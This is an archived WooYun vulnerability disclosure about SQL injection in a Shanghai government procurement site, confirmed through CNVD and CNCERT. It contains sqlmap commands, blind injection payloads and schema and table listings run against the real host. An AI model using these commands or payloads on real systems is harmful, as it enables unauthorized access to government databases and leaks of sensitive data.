当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124574

漏洞标题:某市政府采购中心存在SQL注入(DBA权限)

相关厂商:cncert国家互联网应急中心

漏洞作者: elevensec11

提交时间:2015-07-08 15:26

修复时间:2015-08-24 11:46

公开时间:2015-08-24 11:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

上海市政府采购中心存在SQL注入,可导致招标信息发布可控及敏感信息泄露

详细说明:

http://www.shzfcg.gov.cn:8090/new_web/cjxx/contact_operator.jsp?operator_no=157


sqlmap跑的,oracle dba权限,涉及8个库,平台所用的库828个表,只跑部分证明下:
C:\Python27\sqlmap3\sqlmap\sqlmap>sqlmap.py -u "http://www.shzfcg.gov.cn:8090/ne
w_web/cjxx/contact_operator.jsp?operator_no=157" --dbms "oracle" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-1f71d80}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:55:50
[22:55:50] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: operator_no (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: operator_no=157' AND 2100=2100 AND 'SfeT'='SfeT
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: operator_no=157' AND 1116=DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)||CHR(8
3)||CHR(74)||CHR(98),5) AND 'tFaq'='tFaq
---
[22:55:51] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[22:55:51] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[22:55:51] [INFO] fetching database (schema) names
[22:55:51] [INFO] fetching number of databases
[22:55:51] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[22:55:51] [INFO] retrieved:
[22:55:55] [WARNING] reflective value(s) found and filtering out
19
[22:56:28] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[22:56:35] [INFO] retrieved: C
[22:57:37] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
TXSYS
[22:59:21] [INFO] retrieved: DBSNMP
[23:01:42] [INFO] retrieved:
[23:02:17] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
D
[23:02:41] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
MSYS
[23:04:02] [INFO] retrieved: E
[23:04:50] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
X
[23:05:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
FSYS
[23:07:19] [WARNING] connection timed out while trying to get error page informa
tion (500)
[23:07:19] [INFO] retrieved: ITCDQ2
[23:09:09] [INFO] retrieved: JK
[23:09:55] [INFO] retrieved: MDSYS
[23:11:26] [INFO] retrieved: OLAPSYS
[23:13:27] [INFO] retrieved: ORDSYS
[23:15:16] [INFO] retrieved: OUTLN
[23:16:51] [INFO] retrieved: SCOTT
[23:18:39] [INFO] retrieved: SHTEST
[23:22:26] [INFO] retrieved: SHZFCG
[23:25:55] [INFO] retrieved: SY
[23:27:14] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
S
[23:27:40] [INFO] retrieved: SYSMAN
[23:29:43] [INFO] retrieved: SYSTEM
[23:31:59] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:32:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:32:24] [INFO] retrieved: TSMSYS
[23:34:33] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:34:57] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:35:03] [INFO] retrieved: W
[23:35:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
MSYS
[23:36:57] [INFO] retrieved: XDB
available databases [19]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] ITCDQ2
[*] JK
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SHTEST
[*] SHZFCG
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[23:38:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 521 times
[23:38:14] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.shzfcg.gov.cn'
[*] shutting down at 23:38:14
C:\Python27\sqlmap3\sqlmap\sqlmap>sqlmap.py -u "http://www.shzfcg.gov.cn:8090/ne
w_web/cjxx/contact_operator.jsp?operator_no=157" --dbms "oracle" --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-1f71d80}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:40:36
[23:40:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: operator_no (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: operator_no=157' AND 2100=2100 AND 'SfeT'='SfeT
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: operator_no=157' AND 1116=DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)||CHR(8
3)||CHR(74)||CHR(98),5) AND 'tFaq'='tFaq
---
[23:40:37] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[23:40:37] [INFO] fetching current database
[23:40:37] [INFO] resumed: SHZFCG
[23:40:37] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'SHZFCG'
[23:40:37] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.shzfcg.gov.cn'
[*] shutting down at 23:40:37
C:\Python27\sqlmap3\sqlmap\sqlmap>sqlmap.py -u "http://www.shzfcg.gov.cn:8090/ne
w_web/cjxx/contact_operator.jsp?operator_no=157" --dbms "oracle" -D SHZFCG --t
ables
_
___ ___| |_____ ___ ___ {1.0-dev-1f71d80}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:40:53
[23:40:53] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: operator_no (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: operator_no=157' AND 2100=2100 AND 'SfeT'='SfeT
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: operator_no=157' AND 1116=DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)||CHR(8
3)||CHR(74)||CHR(98),5) AND 'tFaq'='tFaq
---
[23:40:55] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[23:40:55] [INFO] fetching tables for database: 'SHZFCG'
[23:40:55] [INFO] fetching number of tables for database 'SHZFCG'
[23:40:55] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:40:55] [INFO] retrieved:
[23:40:56] [WARNING] reflective value(s) found and filtering out
828
[23:41:07] [INFO] retrieved: JH_39_XYZBXMCHXX
[23:43:08] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:43:33] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:43:36] [INFO] retrieved:
[23:43:57] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
JH_34_BULLETINCONFIG
[23:46:00] [INFO] retrieved: JH_34_BXX
[23:46:24] [INFO] retrieved: JH_34_TEMPLATEEDITORCONFIG
[23:48:32] [INFO] retrieved: JH_34_
[23:49:08] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:49:33] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
ZB
[23:50:08] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
XM
[23:50:38] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
CHMB
[23:51:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
DR
[23:51:47] [INFO] retrieved: JH_39
[23:52:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:52:45] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
_BX
[23:53:31] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:53:54] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:54:17] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
X
[23:54:26] [INFO] retrieved: P
[23:54:55] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
ROVIDER_TEMP_2012
[23:57:53] [INFO] retrieved: JH_39_XYZBX
[23:59:16] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:59:41] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
M
[00:00:07] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
CHTSX

漏洞证明:

pangolin跑的:

131313.png

修复方案:

过滤。

版权声明:转载请注明来源 elevensec11@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-10 11:45

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给上海分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论